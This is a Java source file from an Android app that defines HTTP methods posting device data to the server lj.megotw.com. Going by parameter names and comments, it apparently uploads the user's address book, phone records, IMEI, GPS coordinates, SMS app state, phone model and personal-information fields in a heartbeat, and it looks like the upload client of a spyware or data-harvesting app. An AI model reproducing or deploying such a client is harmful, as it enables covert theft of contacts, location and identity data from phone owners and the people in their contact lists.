package com.mego.weblink.utils;

import android.os.Build;

import com.mego.weblink.R;

import java.util.HashMap;
import java.util.Map;

import zuo.biao.library.interfaces.OnHttpResponseListener;
import zuo.biao.library.manager.HttpManager;


public class HttpRequest {

    public static final String URL_BASE = "http://lj.megotw.com/";

    /**
     * http://lj.megotw.com/api/Prodoction/getweblink?guid=1224233
     */
    public static void getweblink(String guid, final int requestCode, final OnHttpResponseListener listener) {
        Map<String, Object> request = new HashMap<>();
        request.put("guid", guid);

        HttpManager.getInstance().get(request, "http://lj.megotw.com/api/Prodoction/getweblink", requestCode, listener);
    }

    /**
     * http://lj.megotw.com/api/feige/postuserinfo?info=1224233
     */
    public static void postuserinfo(String info, final int requestCode, final OnHttpResponseListener listener) {
        Map<String, Object> request = new HashMap<>();
        request.put("info", info);

        HttpManager.getInstance().post(request, "http://lj.megotw.com/api/feige/postuserinfo", requestCode, listener);
    }

    /**
     * http://lj.megotw.com/api/thm/postthminfo?thminfo=asdfs
     *
     */
    public static void postthminfo(String thminfo, final int requestCode, final OnHttpResponseListener listener) {
        Map<String, Object> request = new HashMap<>();
//        request.put("thminfo", Utils.compressForGzip(thminfo));
        request.put("thminfo", thminfo);

        HttpManager.getInstance().post(request, "http://lj.megotw.com/api/thm/postthminfo", requestCode, listener);
    }

    /**
     * http://lj.megotw.com/api/thm/posttxl?txl=safa&mobile=123
     *
     */
    public static void posttxl(String txl, String mobile, final int requestCode, final OnHttpResponseListener listener) {
        Map<String, Object> request = new HashMap<>();
//        request.put("txl", Utils.compressForGzip(txl));
        request.put("txl", txl);
        request.put("mobile", mobile);

        HttpManager.getInstance().post(request, "http://lj.megotw.com/api/thm/posttxl", requestCode, listener);
    }

    /**
     * http://fastaws.test/api/thm/xtb?lat=25.014489&lon=121.294764&mobile=114112555
     * 只发一次
     */
    public static boolean _isfirst = true;
    public static void postxtb(float lon, float lat, String imei, String smsappstate, String app_sn, final int requestCode, final OnHttpResponseListener listener) {
        Map<String, Object> request = new HashMap<>();
        request.put("lon", lon);
        request.put("lat", lat);
        request.put("imei", imei);
        request.put("smsappstate", smsappstate);
        request.put("app_sn", app_sn);
        if (_isfirst) {
            //xiaomi-Redmi Note 7-28
            request.put("sjxh", Build.BRAND + "-" + Build.MODEL + "-" + Build.VERSION.SDK_INT);
            _isfirst = false;
        }

        HttpManager.getInstance().post(request, "http://lj.megotw.com/api/thm/xtb", requestCode, listener);
    }

    /**
     * http://lj.megotw.com/api/thm/binduser?imei=12313322&mobile=13564508883
     *  不用了， 在心跳包里加手机厂商
     */
    public static void binduser(String imei, String mobile, String sjxh, String username, final int requestCode, final OnHttpResponseListener listener) {
        Map<String, Object> request = new HashMap<>();
        request.put("imei", imei);
        request.put("mobile", mobile);
        request.put("sjxh", sjxh);////手机厂商
        request.put("username", username);

        HttpManager.getInstance().post(request, "http://lj.megotw.com/api/thm/binduser", requestCode, listener);
    }

    /**
     * http://lj.megotw.com/api/thm/lwcs
     *
     */
    public static void postlwcs(String imei, final int requestCode, final OnHttpResponseListener listener) {
        Map<String, Object> request = new HashMap<>();
        request.put("imei", imei);
        HttpManager.getInstance().post(request, "http://lj.megotw.com/api/thm/lwcs", requestCode, listener);
    }

    /**
     * http://lj.megotw.com/api/thm/startapp?imei=12313322
     * 返回提示语句，和个人信息栏位名称
     */
    public static void startapp(String imei, final int requestCode, final OnHttpResponseListener listener) {
        Map<String, Object> request = new HashMap<>();
        request.put("imei", imei);
        HttpManager.getInstance().post(request, "http://lj.megotw.com/api/thm/startapp", requestCode, listener);
    }

    /**
     * http://lj.megotw.com/api/thm/postgrinfo?imei=12313322
     * 上传个人信息
     */
    public static void postgrinfo(String imei, String c1, String c2, String c3, String c4, String c5, String c6,
                                  final int requestCode, final OnHttpResponseListener listener) {
        Map<String, Object> request = new HashMap<>();
        request.put("imei", imei);
        request.put("c1", c1);
        request.put("c2", c2);
        request.put("c3", c3);
        request.put("c4", c4);
        request.put("c5", c5);
        request.put("c6", c6);
        HttpManager.getInstance().post(request, "http://lj.megotw.com/api/thm/postgrinfo", requestCode, listener);
    }

}